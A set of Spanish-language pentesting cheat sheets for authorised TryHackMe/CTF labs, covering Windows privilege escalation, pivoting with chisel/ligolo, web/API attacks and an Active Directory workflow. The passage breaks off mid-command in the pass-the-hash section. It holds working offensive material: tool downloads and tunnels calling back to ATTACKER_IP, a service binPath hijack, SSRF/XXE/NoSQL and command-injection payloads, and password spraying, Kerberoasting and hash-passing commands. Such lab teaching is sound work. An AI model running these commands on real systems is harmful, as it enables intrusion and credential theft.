Preparar	Crear carpetas, fijar IP/URL, anadir hostname si aplica.	Entorno ordenado y variables listas.
Descubrir	nmap full TCP + servicios sobre puertos abiertos.	Lista real de puertos y versiones.
Enumerar	Seguir servicio dominante: web, SMB, AD, DNS, SNMP, NFS.	Usuarios, rutas, shares, endpoints o versiones.
Priorizar	Elegir 1-2 hipotesis con evidencia.	Vector candidato claro.
Acceso	Cred reuse, RCE, upload, SSH, WinRM, SQLi o panel admin.	Shell o login util.
Post-exploit	whoami/id, grupos, procesos, archivos, configs, credenciales.	Mapa del contexto local.
Privesc	Linux: sudo/SUID/caps/cron/creds. Windows: privs/servicios/tareas/creds.	Usuario superior o root/admin.
Reenumerar	Cada credencial nueva reinicia SMB/web/sudo/WinRM/LDAP/DB.	Nuevas rutas desbloqueadas.
Cierre	Guardar comandos minimos, evidencia, flags y root cause.	Writeup reproducible.

2. Comandos base

```
mkdir -p nmap web loot creds hashes screenshots exploits notes
export IP=10.10.10.10
export URL=http://target.local
nmap -p- -Pn -n --min-rate 5000 $IP -oN nmap/all_ports.txt
nmap -sC -sV -Pn -p <PUERTOS> $IP -oN nmap/services.txt
```

- Si ves web, pasa a discovery/Burp antes de brute force.
- Si ves SMB/AD, busca usuarios reales antes de passwords.
- Si consigues una credencial, vuelve a enumerar.

Guia practica - Arquetipos de rooms THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Guia corta para identificar el patron dominante de una room y no perder tiempo saltando entre comandos sin hipotesis.

Un arquetipo no sustituye la enumeracion: la ordena. Si una room mezcla varios patrones, prioriza el que te de identidad, credenciales o shell inicial.

1. Tabla de arquetipos

Arquetipo	Señales	Ruta recomendada
Web basica	80/443, login, rutas ocultas, uploads.	Discovery -> Burp -> LFI/SSTI/upload/IDOR/creds.
WordPress/CMS	wp-content, wp-login, plugins, temas.	WPScan -> usuarios -> plugins/temas -> creds/wp-admin -> RCE.
SQLi room	Parametros, errores SQL, login bypass.	Confirmar manual -> sqlmap con request -> dump -> hashes/RCE si aplica.
SMB/Linux mixta	445, shares, backups, usuarios reutilizables.	Shares -> loot -> cred reuse -> SSH/web/sudo.
Active Directory	53/88/389/445, dominio, DC.	Hosts/DNS -> usuarios -> spraying controlado -> Kerberos/BloodHound.
Linux privesc	Shell Linux sin root.	id/sudo -l -> SUID -> caps -> cron/systemd -> creds.
Windows privesc	Shell Windows sin admin.	whoami /priv -> servicios -> tareas -> registry -> creds.
Pivoting	Servicios localhost o red interna no accesible.	Rutas/interfaces -> ssh -L/-D, chisel o ligolo -> reenum interna.
Cracking/loot	Hashes, kdbx, id_rsa, zips, backups.	Convertir con *2john -> crackear -> cred reuse controlado.
CVE/exploit	Version concreta vulnerable.	Verificar version/config -> leer PoC -> check -> payload minimo.

2. Como decidir

- Elige el arquetipo por evidencia: puertos, rutas, banners, usuarios, archivos o permisos.
- Si aparece una credencial valida, reenumera antes de seguir explotando.
- Si hay web y SMB a la vez, busca credenciales cruzadas: backups web en shares, usuarios de dominio en paneles, configs con DB creds.
- Si tienes shell pero no avance, cambia a post-exploit/privesc. No sigas fuzzing externo por inercia.
- Si no hay progreso en 20-30 minutos, usa la checklist de atasco.

3. Atajos mentales

Si el primer hallazgo es...	Piensa primero en...
Usuarios reales	Password spraying controlado, usuario=password, AS-REP/Kerberoast en AD.

Si el primer hallazgo es...	Piensa primero en...
Backup o config	Credenciales, rutas internas, DB, reutilizacion en SSH/SMB/web.
Upload	Extension, Content-Type, magic bytes, ruta de ejecucion.
Servicio localhost	Port forward o pivot antes de enumerar mas fuera.
Version vulnerable	Confirmar version/config y leer PoC antes de ejecutar.
Shell limitada	Estabilizar, transferir herramientas y enumerar local.

Guia practica - Windows Local Privilege Escalation para THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Guia reutilizable para saber que mirar despues de conseguir una shell en Windows. Esta pensada para labs autorizados tipo TryHackMe/CTF.

La idea no es lanzar winPEAS y esperar magia, sino entender la cadena: identidad -> privilegios -> servicios/tareas/configs -> credenciales -> escalada.

1. Primeros pasos tras conseguir shell

Empieza por saber quien eres, en que maquina estas y que restricciones tiene la shell.

```
whoami
whoami /user
whoami /groups
whoami /priv
hostname
cd
echo %USERNAME%
echo %USERDOMAIN%
ver
systeminfo
```

- Si ves SelpersonatePrivilege o SeAssignPrimaryTokenPrivilege, piensa en tecnicas Potato/impersonation de laboratorio.
- Si perteneces a Backup Operators, Remote Management Users, Administrators o un grupo de servicio raro, revisa permisos especiales.
- Si la shell es limitada, intenta pasar a PowerShell o subir una shell mas comoda antes de enumerar mucho.

2. Estabilizar y transferir herramientas

Prueba primero binarios nativos. Sube herramientas solo cuando necesites confirmar o acelerar.

```
powershell -NoProfile -ExecutionPolicy Bypass
certutil -urlcache -split -f http://ATTACKER_IP:8000/winPEASx64.exe C:\Windows\Temp\winpeas.exe
powershell -c "iwr http://ATTACKER_IP:8000/winPEASx64.exe -OutFile C:\Windows\Temp\winpeas.exe"
C:\Windows\Temp\winpeas.exe
```

- Si certutil esta bloqueado, prueba iwr, curl.exe, bitsadmin o SMB temporal desde tu maquina.
- Guarda salida en archivo cuando sea larga: winpeas.exe > C:\Windows\Temp\wp.txt.
- No ejecutes exploits destructivos si no has confirmado version, arquitectura y privilegios.

3. Informacion de sistema y parches

Busca version, arquitectura, hotfixes y software instalado. En THM esto suele orientar CVEs o misconfigs.

```
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic os get Caption,Version,BuildNumber,OSArchitecture
wmic product get name,version 2>nul
dir "C:\Program Files"
dir "C:\Program Files (x86)"
```

- Kernel exploits son ultimo recurso: primero sudo-equivalentes, servicios, credenciales y tareas.
- Software antiguo con servicio local suele ser mas rentable que un exploit de kernel.

4. Servicios: el vector mas comun

Un servicio vulnerable permite escalar si puedes modificar su binario, configuracion o ruta ejecutada por SYSTEM.

```
sc query state= all
wmic service get name,displayname,pathname,startmode | findstr /i "Auto"
sc qc SERVICIO
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv %USERNAME% SERVICIO
```

- Unquoted service path: ruta con espacios sin comillas y directorios escribibles antes del exe real.
- Weak service permissions: puedes cambiar binPath o reiniciar el servicio.
- Weak file permissions: puedes sustituir el ejecutable que arranca el servicio.
- Pregunta clave: puedo modificar algo que se ejecuta como LocalSystem, LocalService o usuario privilegiado?

```
sc config SERVICIO binPath= "cmd /c C:\Windows\Temp\shell.exe"
sc stop SERVICIO
sc start SERVICIO
```

5. Unquoted service paths

Si el binario es C:\Program Files\Vendor App\service.exe sin comillas, Windows prueba rutas intermedias.

```
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v ""
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
```

- Necesitas escribir en una ruta anterior a la final y poder reiniciar el servicio o esperar reinicio.
- En labs, el ejecutable se suele llamar como el primer segmento: C:\Program.exe o C:\Program Files\Vendor.exe.

6. Tareas programadas y autoruns

Busca scripts o binarios ejecutados automaticamente por un usuario superior.

```
schtasks /query /fo LIST /v
dir C:\Windows\Tasks
dir C:\Windows\System32\Tasks /s /b
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

- Revisa rutas personalizadas en C:\Users, C:\ProgramData, C:\Backup, C:\Scripts, C:\Temp.
- Si puedes escribir el script o carpeta usada por la tarea, puedes controlar lo que ejecuta.
- Comprueba usuario de ejecucion y frecuencia antes de tocar nada.

7. AlwaysInstallElevated

Misconfig clasica de CTF: si ambas claves estan a 1, un MSI puede ejecutarse elevado.

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msiexec /quiet /qn /i C:\Windows\Temp\payload.msi
```

- Solo es explotable si HKCU y HKLM devuelven 0x1.
- Genera el MSI en tu maquina atacante y documenta el vector; no lo uses fuera de laboratorio.

8. Privilegios especiales

whoami /priv decide muchas rutas de escalada.

Privilegio	Que probar primero
SeImpersonatePrivilege	JuicyPotato/PrintSpoofer/RoguePotato segun version y restricciones del lab.
SeBackupPrivilege	Leer archivos protegidos, SAM/SYSTEM o datos sensibles mediante backup semantics.
SeRestorePrivilege	Posible sobrescritura de archivos sensibles si el contexto lo permite.

Privilegio	Que probar primero
SeDebugPrivilege	Dump de procesos o tokens si herramientas y permisos lo permiten.
SeManageVolumePrivilege	Vector raro, pero en CTF puede permitir escritura privilegiada mediante tecnica especifica.

9. Credenciales en Windows

Las escaladas mas limpias suelen ser credenciales reutilizadas.

```
cmdkey /list
dir /s /b *pass* *cred* *config* *backup* 2>nul
findstr /si password *.txt *.ini *.config *.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul
```

- Revisa web.config, appsettings.json, scripts PowerShell, backups y shares montados.
- Si cmdkey lista credenciales guardadas, prueba runas /savecred en contexto de lab.

10. Checklist minima

- whoami /priv y grupos.
- systeminfo, hotfixes y software instalado.
- Servicios: permisos, binPath, unquoted paths y ejecutables escribibles.
- Tareas programadas, autoruns y scripts en rutas escribibles.
- AlwaysInstallElevated y registry sensible.
- Credenciales en configs, history, backups, shares y cmdkey.
- winPEAS para confirmar, no para sustituir razonamiento.

Guia practica - Pivoting y Tunneling para THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Guia para cuando una maquina comprometida ve servicios o redes que tu atacante no ve directamente.

Mentalidad: descubrir red interna -> elegir tunel -> validar alcance -> enumerar sin ruido -> mover solo lo necesario.

1. Detectar que necesitas pivot

```
ip a
ip route
ss -tulpen
netstat -ano
hostname -I
cat /etc/hosts
arp -a
```

- 127.0.0.1 con servicio interesante: necesitas local port forward.
- Interfaz adicional 172.16/10.10/192.168: puede haber red interna.
- Rutas hacia subredes que tu Kali no alcanza: necesitas SOCKS, TUN o forward especifico.

2. Elegir tecnica rapidamente

Situacion	Tecnica recomendada
Tengo SSH al pivot	ssh -L para servicio concreto, ssh -D para SOCKS.
No tengo SSH pero puedo ejecutar binarios	chisel o ligolo-ng.
Necesito escanear muchos puertos/hosts	ligolo-ng suele ser mas comodo que SOCKS.
Solo necesito una web interna	forward local especifico con ssh -L o chisel.
Servicio interno usa hostname	tunel + /etc/hosts o proxy que respete DNS segun caso.

3. SSH local, dynamic y reverse forwards

Usa SSH si ya tienes credenciales o clave. Es estable y facil de razonar.

```
# Local forward: exponer servicio interno en tu Kali
ssh -L 8080:127.0.0.1:80 user@$IP
curl http://127.0.0.1:8080
```

```
# SOCKS proxy para multiples destinos
ssh -D 1080 -N user@$IP
proxychains nmap -sT -Pn -p80,445 10.10.20.5
```

```
# Reverse forward: cuando el pivot puede salir hacia ti
ssh -R 9001:127.0.0.1:9001 user@ATTACKER_IP
```

- -L = tu maquina escucha y manda trafico hacia dentro.
- -D = SOCKS local para herramientas compatibles con proxychains.
- -R = la maquina remota abre un puerto que vuelve hacia ti.

4. Chisel

Chisel es util cuando no hay SSH. Necesitas servidor en un lado y cliente en el otro.

```
# Atacante
chisel server -p 8000 --reverse

# Victima/pivot: SOCKS reverse hacia atacante
./chisel client ATTACKER_IP:8000 R:socks

# Atacante: usar SOCKS
proxychains curl http://10.10.20.5/

# Forward especifico
./chisel client ATTACKER_IP:8000 R:8080:127.0.0.1:80
```

- Si hay firewall de entrada, usa reverse: la víctima conecta hacia tu máquina.
- Comprueba con curl antes de lanzar escaneos grandes.

5. Ligolo-ng

Ligolo-ng crea una interfaz tun y suele simplificar escaneos internos en labs.

```
# Atacante
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# Pivot
./agent -connect ATTACKER_IP:11601 -ignore-cert

# En consola ligolo
session
ifconfig
start

# Atacante: ruta hacia red interna
sudo ip route add 10.10.20.0/24 dev ligolo
nmap -Pn -sT -p80,445 10.10.20.5
```

- Muy cómodo cuando quieres tratar la red interna como enrutable.
- Usa -sT en nmap si SYN scan no funciona por el túnel.

6. Proxychains y nmap

No todas las herramientas funcionan igual sobre SOCKS.

```
echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf
proxychains curl http://10.10.20.5/
proxychains nmap -sT -Pn -n -p80,445 10.10.20.5
proxychains crackmapexec smb 10.10.20.5 -u USER -p PASS
```

- Con proxychains usa TCP connect scan (-sT), no SYN scan.
- Evita escaneos -p- enormes al principio; valida hosts y puertos probables.

7. DNS y nombres internos

Muchas apps internas dependen de hostnames.

```
cat /etc/resolv.conf
nslookup intranet.local DNS_INTERNO
dig @DNS_INTERNO intranet.local
echo '10.10.20.5 intranet.local' | sudo tee -a /etc/hosts
```

- Si el túnel no transporta DNS, resuelve manualmente y añade /etc/hosts.
- En AD, Kerberos suele requerir FQDN y reloj correcto.

8. Validación antes de seguir

- Puedo hacer ping o TCP connect al host interno?
- curl/nc confirma el servicio esperado?
- La herramienta usa el proxy o está saliendo directo?
- El hostname resuelve al destino correcto?
- Tengo notas claras de: atacante -> pivot -> red interna -> servicio?

Guia practica - Web moderna y APIs para THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Complemento para rooms web que no son solo directorios ocultos y CMS. En apps modernas, el bug suele estar en APIs, autorizacion, tokens o parsers.

Regla mental: autenticacion responde quien eres; autorizacion responde que puedes hacer. Muchas rooms se rompen por autorizacion floja.

1. Mapa inicial de la app

```
whatweb -a 3 $URL
curl -i $URL/
katana -u $URL -d 3
arjun -u "$URL/api/endpoint"
ffuf -u "$URL/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -fc 404
```

- Busca /api, /graphql, /swagger, /openapi.json, /docs, /admin, /debug, /actuador.
- Guarda requests interesantes desde Burp. SQLMap, ffuf y scripts propios funcionan mejor con request completa.

2. IDOR / BOLA

La prueba mas rentable: cambiar IDs y comparar respuestas entre usuarios.

```
GET /api/users/1001
GET /api/users/1002
GET /api/orders/5
GET /api/orders/6
```

- Crea dos cuentas si la room lo permite.
- Prueba IDs numericos, UUIDs filtrados, emails, usernames y slugs.
- No basta con ocultar botones en frontend: comprueba API directa.
- Senal fuerte: status 200 con datos de otro usuario o accion aceptada sobre recurso ajeno.

3. JWT

```
jwt_tool TOKEN
python3 - <<'PY'
import jwt
print(jwt.get_unverified_header('TOKEN'))
print(jwt.decode('TOKEN', options={'verify_signature': False}))
PY
```

- Mira alg, kid, jku, exp, role, isAdmin, user_id.
- Prueba manipulacion solo en lab: none alg, secreto debil, confusion HS/RS si el reto apunta a ello.
- Si el token cambia rol en cliente pero el servidor no valida firma/autorizacion, hay bug.

4. GraphQL

```
POST /graphql
{"query":"{__schema{types{name}}}"}
```

```
{"query":"{users{id username email role}}}"}
```

- Prueba introspection; si esta activa, enumera tipos y queries.

- Busca queries con id, userId, file, path, admin, debug.
- IDOR tambien aplica: cambia variables en queries/mutations.

5. SSRF

Cualquier parametro que haga fetch de URL, avatar, webhook o import puede ser candidato.

```
url=http://127.0.0.1:80
url=http://localhost:8000
url=http://169.254.169.254/latest/meta-data/
url=http://[:1]/
url=file:///etc/passwd
```

- Confirma primero con tu listener: `python3 -m http.server 8000`.
- Prueba localhost, 127.0.0.1, redes internas y redirects si el lab lo sugiere.
- No hagas escaneo agresivo desde SSRF; valida con pocos puertos probables.

6. XXE

```
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>xxe;</root>
```

- Solo aplica si la app procesa XML: import, SOAP, SVG, DOCX/XLSX, SAML.
- Si no refleja salida, intenta OOB en tu servidor HTTP/DNS dentro del lab.

7. NoSQL Injection

```
{"username":{"$ne":null},"password":{"$ne":null}}
username[$ne]=admin&password[$ne]=x
{"$where":"this.username=='admin'"}
```

- Senal: backend Node/Mongo, errores BSON/Mongoose, filtros JSON directos.
- Comprueba bypass login, filtros de busqueda y endpoints admin.

8. File upload matrix

Control	Pruebas
Extension	php, phtml, phar, jsp, aspx, svg, html, double extension.
Content-Type	image/png vs application/x-php.
Magic bytes	GIF89a, PNG header si el lab valida firma.
Ruta	Se puede predecir uploads/? Hay path traversal en filename?
Ejecucion	El servidor ejecuta o solo sirve el archivo?

9. Command injection

```
; id
&& id
| id
`id`
$(id)
%0Aid
```

- Parametros tipicos: host, ip, domain, filename, backup, convert, ping, traceroute.
- Confirma con comandos inocuos primero: id, whoami, hostname.
- Si no hay output, usa sleep/ping hacia tu maquina en entorno de lab.

10. Checklist web/API

- Descubrir endpoints y guardar requests reales.
- Probar authz horizontal y vertical con dos usuarios.

- Revisar tokens, cookies, CORS y cabeceras.
- Buscar parsers: JSON, XML, YAML, template, markdown, image processors.
- Enumerar docs: Swagger/OpenAPI/GraphQL/actuator/debug.
- Validar bug con impacto claro y pasos reproducibles.

Guía genérica THM — Workflow para rooms Windows Active Directory

Fecha

2026-06-30

Objetivo

Guía reutilizable para resolver rooms de TryHackMe/CTF basadas en **Windows Active Directory**. Está pensada para entornos autorizados de laboratorio y certificación.

La idea no es memorizar comandos sueltos, sino entender la cadena:

```
He encontrado X
→ X me permite probar Y
→ si Y funciona obtengo Z
→ Z desbloquea el siguiente paso
```

0. Preparación inicial

Variables útiles

```
export IP=<IP_DEL_TARGET>
export DOMAIN=<dominio.local>
export DC_HOST=<hostname_dc>
export DC_FQDN=<hostname_dc.dominio.local>
```

Ejemplo:

```
export IP=10.10.10.10
export DOMAIN=soupedecode.local
export DC_HOST=DC01
export DC_FQDN=dc01.soupedecode.local
```

Comprobar conectividad

```
ping -c 2 $IP
nmap -Pn -n -p445 --reason $IP
```

Si 445/tcp sale filtered/no-response, no tiene sentido seguir con SMB todavía. Revisa IP, VPN, AttackBox o reinicia el target.

1. Reconocimiento inicial

Escaneo rápido de todos los puertos

```
nmap -p- -Pn -n --min-rate 5000 $IP -oN nmap_all.txt
```

Escaneo de servicios típicos AD

```
nmap -sC -sV -Pn -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,5986,9389 $IP -oN nmap_ad.txt
```

Puertos importantes

Puerto	Servicio	Qué suele indicar
53	DNS	El host puede ser DC o servidor DNS del dominio
88	Kerberos	Active Directory/Kerberos disponible
135	MSRPC	RPC Windows, útil para enumeración
139	NetBIOS	SMB antiguo/NetBIOS
389	LDAP	Directorio AD consultable
445	SMB	Shares, autenticación, ejecución remota si hay privilegios
464	kpasswd	Cambio de contraseña Kerberos
593	RPC over HTTP	Servicios Windows/RPC
636	LDAPS	LDAP sobre TLS
3268	Global Catalog	Consulta global del bosque AD
3269	Global Catalog SSL	Global Catalog sobre TLS
3389	RDP	Escritorio remoto
5985	WinRM HTTP	PowerShell remoto
5986	WinRM HTTPS	PowerShell remoto cifrado
9389	ADWS	Active Directory Web Services

Lógica

Si ves muchos de estos puertos abiertos, piensa:

No es una máquina Windows aislada.
Probablemente es un Domain Controller o un servidor integrado en dominio AD.

Entonces el enfoque cambia de:

```
Web → exploit → shell → privesc local
```

a:

```
Dominio → usuarios → credenciales → permisos → Kerberos/SMB/LDAP → escalada/movimiento lateral
```

2. Identificar dominio, DC y nombres

Con NetExec

```
nxc smb $IP
```

Busca campos como:

```
name:DC01  
(domain:SOUPEDECODE)
```

Con Nmap

```
grep -iE "domain|dns|fqdn|name" nmap_ad.txt
```

Con LDAP, si permite bind anónimo o si ya tienes credenciales

```
ldapsearch -x -H ldap://$IP -s base namingcontexts
```

Añadir a /etc/hosts

```
echo "$IP $DOMAIN $DC_FQDN $DC_HOST" | sudo tee -a /etc/hosts
```

Ejemplo:

```
echo "$IP soupedecode.local dc01.soupedecode.local DC01" | sudo tee -a /etc/hosts
```

Por qué

Kerberos y muchas herramientas AD dependen de nombres. Resolver solo por IP puede provocar errores como:

```
KRB_AP_ERR_SKEW  
KDC_ERR_S_PRINCIPAL_UNKNOWN  
Cannot find KDC for realm
```

3. Enumeración SMB inicial

Probar SMB sin credenciales

```
smbclient -L //$IP -N
```

Probar Guest

```
nxc smb $IP -u 'Guest' -p ''  
nxc smb $IP -u 'Guest' -p '' --shares
```

Si tu versión de NetExec no muestra salida o cambia flags, revisa:

```
nxc smb -h | grep -E "shares|rid|brute"
```

Alternativas

```
smbclient -L //$IP -U 'Guest%'  
smbmap -H $IP -u 'Guest' -p ''  
rpcclient -U "Guest%" $IP -c "srvinfo"
```

Lógica

Buscas responder:

```
¿Puedo autenticarme como Guest o anonymous?  
¿Puedo ver shares?  
¿Puedo usar IPC$/RPC para consultar información del dominio?
```

Aunque no puedas leer archivos, si IPC\$ funciona puede bastar para enumerar usuarios.

4. RID brute-force / enumeración de usuarios

NetExec moderno

```
nxc smb $IP -u 'Guest' -p '' --rid-brute
```

Guardar salida:

```
nxc smb $IP -u 'Guest' -p '' --rid-brute > rid_brute.txt
```

Algunas versiones antiguas/labs pueden usar

```
nxc smb $IP -u 'Guest' -p '' --rid
```

Con rpcclient

```
rpcclient -U "Guest%" $IP -c "enumdomusers"
```

Extraer usuarios desde salida de NetExec

Primero mira el formato:

```
head -50 rid_brute.txt
```

Extracción habitual:

```
grep 'SidTypeUser' rid_brute.txt \  
| sed -E 's/.*\([^ ]+\) \(SidTypeUser\).*/\1/' \  
| sort -u \  
> users.txt
```

Si salen cuentas máquina y quieres quitarlas:

```
grep -v '\$$' users.txt > users_clean.txt  
mv users_clean.txt users.txt
```

Comprobar:

```
wc -l users.txt  
head users.txt
```

Lógica

Un usuario real del dominio es más valioso que un diccionario externo. Con usuarios reales puedes hacer:

```
password spraying  
usuario=contraseña  
AS-REP roasting  
Kerberoasting  
LDAP enumeration  
BloodHound collection
```

5. Validación controlada de credenciales débiles

Importante: en labs está bien, pero en entornos reales puede bloquear cuentas. Hazlo solo con autorización.

Usuario = contraseña

NetExec moderno:

```
nxc smb $IP -u users.txt -p users.txt --no-bruteforce --continue-on-success
```

Para guardar y ver solo éxitos:

```
nxc smb $IP -u users.txt -p users.txt --no-bruteforce --continue-on-success 2>&1 \  
| tee auth_test.txt \  
| grep --line-buffered -a "[+\\]|Pwn3d"
```

Algunas versiones antiguas usan:

```
nxc smb $IP -u users.txt -p users.txt --no-brute --continue-on-success
```

Password spraying con una contraseña común

```
nxc smb $IP -u users.txt -p 'Password123!' --continue-on-success
```

Interpretación

Salida	Significado
[+] DOMINIO\usuario:password	Credencial válida
[-]	Login fallido
Pwn3d!	Además hay permisos de ejecución remota/ admin local probable

Lógica

Si has descubierto usuarios reales, pruebas credenciales obvias de forma controlada:

```
Usuarios reales
→ pruebo contraseñas débiles/no rotadas
→ si una funciona, tengo identidad válida de dominio
```

6. Reenumeración con credenciales válidas

Cada vez que consigas una credencial nueva, repite enumeración.

```
export USER='usuario'
export PASS='password'
```

Confirmar login

```
nxc smb $IP -u "$USER" -p "$PASS"
```

Shares

```
nxc smb $IP -u "$USER" -p "$PASS" --shares
```

Usuarios, grupos, política de contraseña

```
nxc smb $IP -u "$USER" -p "$PASS" --users
nxc smb $IP -u "$USER" -p "$PASS" --groups
nxc smb $IP -u "$USER" -p "$PASS" --pass-pol
```

LDAP básico

```
nxc ldap $IP -u "$USER" -p "$PASS"
nxc ldap $IP -u "$USER" -p "$PASS" --users
```

WinRM, si puerto 5985/5986 está abierto

```
nxc winrm $IP -u "$USER" -p "$PASS"
```

Si sale Pwn3d! en WinRM:

```
evil-winrm -i $IP -u "$USER" -p "$PASS"
```

Lógica

Nueva credencial = nueva vista del dominio.

Guest puede ver poco.
Usuario normal puede ver shares internos.
Cuenta de servicio puede leer backups.
Admin local puede ejecutar comandos.

7. Enumerar y descargar shares SMB

Con smbclient

```
smbclient //$IP/<SHARE> -U "$USER%$PASS"
```

Dentro:

```
ls  
cd <directorio>  
get <archivo>  
mget *  
exit
```

Con dominio explícito

```
smbclient //$IP/<SHARE> -U "$DOMAIN\\$USER%$PASS"
```

Spidering con NetExec

```
nxc smb $IP -u "$USER" -p "$PASS" --spider <SHARE>
```

Buscar patrones sensibles:

```
nxc smb $IP -u "$USER" -p "$PASS" --spider <SHARE> --pattern txt  
nxc smb $IP -u "$USER" -p "$PASS" --spider <SHARE> --pattern pass  
nxc smb $IP -u "$USER" -p "$PASS" --spider <SHARE> --pattern config  
nxc smb $IP -u "$USER" -p "$PASS" --spider <SHARE> --pattern backup
```

Shares interesantes

```
Users
C$
ADMIN$
IPC$
NETLOGON
SYSVOL
backup
Backups
IT
Dev
Deploy
Scripts
HR
Finance
```

Qué buscar

```
user.txt
root.txt
*.kdbx
*.config
*.ini
*.xml
*.ps1
*.bat
*.vbs
*.txt
*.bak
*.zip
*.7z
id_rsa
passwords.txt
backup_extract.txt
```

8. Kerberoasting

Cuándo procede

Necesitas al menos una credencial válida de dominio o una situación equivalente.

```
Tengo usuario válido
→ puedo pedir tickets TGS de cuentas con SPN
→ el ticket puede crackearse offline
→ puedo obtener password de cuenta de servicio
```

Con Impacket

Comando moderno según instalación:

```
GetUserSPNs.py $DOMAIN/$USER:$PASS -dc-ip $IP -request -outputfile kerberoast.txt
```

O con prefijo de paquete:

```
impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $IP -request -outputfile kerberoast.txt
```

Si no existe:

```
find / -iname "GetUserSPNs*" 2>/dev/null
python3 /ruta/GetUserSPNs.py $DOMAIN/$USER:$PASS -dc-ip $IP -request -outputfile
kerberoast.txt
```

Con NetExec LDAP

```
nxc ldap $IP -u "$USER" -p "$PASS" --kerberoasting kerberoast.txt
```

Con dominio explícito:

```
nxc ldap $IP -d "$DOMAIN" -u "$USER" -p "$PASS" --kerberoasting kerberoast.txt
```

Error de hora Kerberos

Si aparece:

```
KRB_AP_ERR_SKEW(Clock skew too great)
```

sincroniza:

```
sudo ntpdate -u $IP
```

o:

```
sudo ntp -sS $IP
```

Crackear

John:

```
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt
john kerberoast.txt --show
```

Hashcat:

```
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt --show
```

Si John muestra ?:password

Extrae usuarios de los tickets:

```
grep -oP '\$krb5tgs\$23\$*\$K[^\$]+' kerberoast.txt > service_users.txt
cat service_users.txt
```

Prueba la password contra esas cuentas:

```
nxc smb $IP -u service_users.txt -p '<PASSWORD_CRACKEADA>' --continue-on-success
```

Lógica

Kerberoasting es muy típico en AD porque las cuentas de servicio suelen tener:

```
SPN registrado
password antigua
permisos sobre recursos internos
rotación pobre de credenciales
```

9. AS-REP Roasting

Cuándo procede

Cuando hay usuarios con la opción **Do not require Kerberos preauthentication.**

Sin credenciales, con lista de usuarios

```
GetNPUsers.py $DOMAIN/ -dc-ip $IP -usersfile users.txt -no-pass -outputfile asrep.txt
```

O:

```
impacket-GetNPUsers $DOMAIN/ -dc-ip $IP -usersfile users.txt -no-pass -outputfile asrep.txt
```

Con NetExec

```
nxc ldap $IP -u users.txt -p '' --asreproast asrep.txt
```

Crackear

```
john asrep.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

Lógica

No necesitas contraseña previa si el usuario es AS-REP roastable:

```
Lista de usuarios
→ pido AS-REP sin preauth
→ crackeo offline
→ obtengo password
```

10. Buscar credenciales en SYSVOL/NETLOGON

Listar shares

```
nxc smb $IP -u "$USER" -p "$PASS" --shares
```

Entrar en SYSVOL

```
smbclient //$IP/SYSVOL -U "$USER%$PASS"
```

Descargar/inspeccionar scripts

```
recurse ON
prompt OFF
mget *
```

Buscar secretos localmente

```
grep -RniE "pass|pwd|cred|user|password|secret|key" .
find . -type f \( -name "*.xml" -o -name "*.ini" -o -name "*.ps1" -o -name "*.bat" -o
    -name "*.txt" \) -print
```

Lógica

SYSVOL/NETLOGON pueden contener scripts de login, políticas antiguas o configuraciones con credenciales.

11. BloodHound / SharpHound

Cuándo usarlo

Cuando ya tienes credenciales válidas y quieres ver relaciones de permisos.

BloodHound Python

```
bloodhound-python -u "$USER" -p "$PASS" -d "$DOMAIN" -ns $IP -c All
```

Si hay problemas de resolución:

```
bloodhound-python -u "$USER" -p "$PASS" -d "$DOMAIN" -dc "$DC_FQDN" -ns $IP -c All
```

Qué buscar en BloodHound

```
Shortest Paths to Domain Admins
Kerberoastable Users
AS-REP Roastable Users
Users with SPN
Local Admin Rights
GenericAll
GenericWrite
WriteDACL
WriteOwner
AddMember
ForceChangePassword
CanPSRemote
AdminTo
```

Lógica

BloodHound no explota por sí mismo. Te muestra rutas:

```
Mi usuario controla grupo X
→ grupo X puede modificar usuario Y
→ usuario Y es admin local en máquina Z
→ máquina Z tiene sesión de admin
```

12. Pass-the-Hash

Cuándo procede

Tienes hash NTLM de una cuenta y el protocolo acepta autenticación NTLM.

Formato típico de dump:

```
usuario:RID:LM_HASH:NTLM_HASH:::
```

Extraer usuarios y hashes:

```
cut -d ':' -f 1 dump.txt > extracted_users.txt
cut -d ':' -f 4 dump.txt > ntlm_hashes.txt
wc -l extracted_users.txt ntlm_hashes.txt
```

Probar hashes línea a línea

```
nxc smb $IP -u extracted_users.txt -H ntlm_hashes.txt --no-bruteforce --continue-on-success
```

Ver solo aciertos:

```
nxc smb $IP -u extracted_users.txt -H ntlm_hashes.txt --no-bruteforce --continue-on-
    success 2>&1 \
| tee pth_test.txt \
